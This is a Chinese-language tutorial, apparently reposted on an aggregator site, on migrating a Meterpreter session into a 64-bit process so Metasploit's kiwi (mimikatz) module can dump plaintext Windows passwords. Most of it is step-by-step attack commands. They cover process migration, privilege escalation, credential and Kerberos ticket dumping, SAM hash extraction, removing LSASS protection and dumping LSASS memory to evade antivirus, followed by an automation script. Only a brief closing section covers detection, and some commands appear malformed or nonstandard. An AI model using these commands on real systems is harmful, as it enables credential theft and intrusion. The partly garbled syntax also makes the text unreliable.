当前位置: 首页 > news >正文

实战演练:在64位Windows上,如何正确迁移进程让MSF的kiwi模块成功抓取明文密码

实战演练:在64位Windows上如何正确迁移进程让MSF的kiwi模块成功抓取明文密码

当你第一次在64位Windows系统上兴奋地输入creds_all命令,却只看到一片空白或报错信息时,那种挫败感我深有体会。这不是kiwi模块失效了,而是大多数教程没讲清楚的一个关键细节——进程架构匹配。本文将带你深入理解32/64位进程环境的差异,并手把手演示如何通过正确迁移让kiwi模块发挥全部威力。

1. 为什么kiwi模块在64位系统上会失效?

许多初学者以为只要获得system权限就能畅行无阻,却忽略了Metasploit框架自身的设计特点。Meterpreter默认注入的是32位payload,而64位系统的安全子系统(如LSASS)往往运行在64位模式。这种架构不匹配会导致:

  • API调用失败:32位进程无法直接调用64位系统的关键API函数
  • 内存访问限制:32位进程只能访问4GB地址空间中的部分区域
  • 数据结构错位:64位系统的安全数据结构与32位存在偏移差异

提示:用sysinfo命令确认系统架构时,如果看到"x64-based PC"却仍在32位进程中操作,就是典型的问题场景。

2. 诊断进程环境的实战步骤

2.1 确认系统架构与进程状态

首先建立meterpreter会话后,立即执行:

sysinfo

典型输出示例:

Computer : WIN-7A9ABCD1234 OS : Windows 10 (Build 19045) Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows

关键观察点:

  • Architecture显示x64但Meterpreter显示x86/windows
  • 这种组合意味着你正在32位环境下操作64位系统

2.2 识别合适的迁移目标进程

运行进程列表命令:

ps

筛选目标进程的标准:

  1. x64架构:在"Arch"列明确标注"x64"
  2. 稳定进程:选择系统核心进程如:
    • lsass.exe (安全子系统)
    • svchost.exe (多个系统服务宿主)
    • explorer.exe (用户界面外壳)
  3. 相同权限:确保目标进程具有SYSTEM权限(可通过getuid确认)

推荐目标进程优先级:

进程名PID范围稳定性推荐指数
lsass.exe500-800★★★★★★★★★★
svchost.exe1000-2000★★★★☆★★★★☆
explorer.exe2000-3000★★★☆☆★★★☆☆

3. 安全迁移进程的关键技巧

3.1 使用migrate命令的正确姿势

基本语法:

migrate <PID>

但直接迁移可能失败,建议采用以下增强流程:

  1. 先创建新会话(避免迁移失败导致连接中断):

    run post/windows/manage/multi_meterpreter_inject -P <payload> -S
  2. 使用-P参数预加载迁移:

    migrate -P <PID>
  3. 验证迁移结果:

    sysinfo

    确认Meterpreter显示"x64/windows"

3.2 常见错误处理方案

错误1:权限不足

[-] Error running command migrate: Rex::RuntimeError Cannot migrate into this process.

解决方案:

getsystem steal_token <PID> migrate <PID>

错误2:进程保护

[-] Error: Unable to migrate to process.

尝试注入到新创建的进程:

execute -f notepad.exe -H migrate <新PID>

4. kiwi模块的进阶使用姿势

成功迁移到64位进程后,加载kiwi模块:

load kiwi

4.1 密码提取的多种姿势

基础命令:

creds_all

高级技巧组合:

  1. 直接调用mimikatz功能:

    kiwi_cmd "sekurlsa::logonpasswords"
  2. 导出Kerberos票据:

    kiwi_cmd "kerberos::list /export"
  3. 内存中提取NTLM哈希:

    kiwi_cmd "lsadump::sam"

4.2 数据持久化技巧

将结果自动保存到数据库:

creds_all -o /root/loot.txt db_import /root/loot.txt

使用自定义格式输出:

kiwi_cmd "sekurlsa::logonpasswords" | grep -i "username\|password\|domain"

5. 实战中的精妙细节

5.1 绕过AV的内存操作技巧

现代杀毒软件会监控lsass.exe的内存访问,可以:

  1. 使用定制版mimikatz:

    kiwi_cmd "!+" "!processprotect /process:lsass.exe /remove"
  2. 创建lsass.exe的转储文件:

    dumpmem -p lsass.exe -f /tmp/lsass.dmp

5.2 自动化迁移脚本

将整个流程自动化保存为.rc文件:

# auto_migrate.rc sysinfo run post/windows/manage/migrate load kiwi creds_all

执行方式:

msfconsole -r auto_migrate.rc

6. 防御视角:如何检测此类攻击

作为蓝队成员,应当监控:

  • 异常进程注入:非系统进程访问lsass.exe
  • 可疑的migrate操作:进程突然改变架构特征
  • kiwi模块特征:特定DLL加载模式

检测命令示例:

Get-Process | Where-Object { $_.Modules.ModuleName -contains "kiwi" }
http://www.jsqmd.com/news/502933/

相关文章:

  • 后端工程师调用RESTful API完全指南(附C/C++实战)
  • 计算机组成原理与体系结构-实验二 选择进位加法器(Proteus 8.15)
  • UE5 Chaos破坏系统性能优化指南:如何实现流畅的大规模破坏模拟
  • 番茄小说下载器:3步打造个人数字图书馆的终极解决方案
  • MySQL 中 DELETE、DROP 和 TRUNCATE 的区别是什么?
  • 5大实战技巧:深度优化VS Code R扩展性能与配置
  • 免费且强大:GLM-OCR多模态OCR模型部署与使用心得分享
  • 【Dify LLM-as-a-judge 高阶实战手册】:20年AI工程老兵亲授5大避坑法则与3类生产级评估链路设计模式
  • Motrix WebExtension:重构浏览器下载体验的效率革命
  • Qwen2.5-32B-Instruct大模型部署:生产环境最佳实践
  • 如何通过wechat-versions构建你的专属微信版本库:从备份到回溯的完整方案
  • Traefik 实战指南:Docker 环境下的高效反向代理与负载均衡
  • Boost电路微分方程模型
  • RVC WebUI推理界面详解:音色选择、音高调节、混响控制实操
  • Python3.10+Anaconda环境下Docplex安装避坑指南(附豆瓣源加速)
  • 安卓框架选型精准匹配指南:如何为你的场景选择最佳技术方案
  • GLM-OCR助力Java八股文学习:自动解析与题库构建系统
  • 如何打造个性化音乐体验:foobox-cn让foobar2000焕发新生
  • FreeRTOS移植GD32F103CBT6时遇到L6406E错误?手把手教你调整堆栈分配
  • LosslessSwitcher:macOS无损音频采样率智能切换技术
  • 为什么92%的车规C项目在26262:2026预审中失败?(深度拆解4个被忽略的动态内存安全硬门槛)
  • LeetCode HOT100 - 最小栈
  • 树莓派无网络?三步搞定wpa_supplicant.conf配置+射频解锁(附避坑清单)
  • 2026年爬虫终极选型:Scrapy vs Requests+BeautifulSoup,看完再也不纠结
  • MogFace内网穿透部署方案:在无公网IP服务器上提供对外检测服务
  • Altium Designer导出PDF图纸总留白?试试这3种打印设置技巧(附AD23.4.1实测)
  • 5个维度解析MachOView:macOS二进制分析的技术突破
  • DCT-Net开源镜像实操:如何替换默认模型权重以支持更多卡通风格微调
  • 为什么你的苹果应用上架被拒?可能是忽略了软著这个关键点
  • COMSOL后处理实战:3种数据集操作技巧让你的仿真结果更直观(附圆柱体传热案例)